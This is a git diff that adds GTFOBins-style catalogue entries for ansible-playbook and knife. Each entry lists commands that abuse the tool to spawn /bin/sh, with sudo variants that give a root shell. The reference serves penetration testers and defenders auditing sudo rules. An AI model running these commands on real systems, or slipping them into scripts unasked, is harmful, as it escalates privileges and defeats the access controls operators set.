diff --git a/_gtfobins/ansible-playbook.md b/_gtfobins/ansible-playbook.md new file mode 100644 index 0000000..f836298 --- /dev/null +++ b/_gtfobins/ansible-playbook.md @@ -0,0 +1,13 @@ +--- +functions: + shell: + - code: | + TF=$(mktemp) + echo '[{hosts: localhost, tasks: [shell: /bin/sh /dev/tty 2>/dev/tty]}]' >$TF + ansible-playbook $TF + sudo: + - code: | + TF=$(mktemp) + echo '[{hosts: localhost, tasks: [shell: /bin/sh /dev/tty 2>/dev/tty]}]' >$TF + sudo ansible-playbook $TF +--- diff --git a/_gtfobins/knife.md b/_gtfobins/knife.md new file mode 100644 index 0000000..f6da3db --- /dev/null +++ b/_gtfobins/knife.md @@ -0,0 +1,10 @@ +--- +description: This is capable of running [`ruby`](/gtfobins/ruby/) code. +functions: + shell: + - code: | + knife exec -E 'exec "/bin/sh"' + sudo: + - code: | + sudo knife exec -E 'exec "/bin/sh"' +---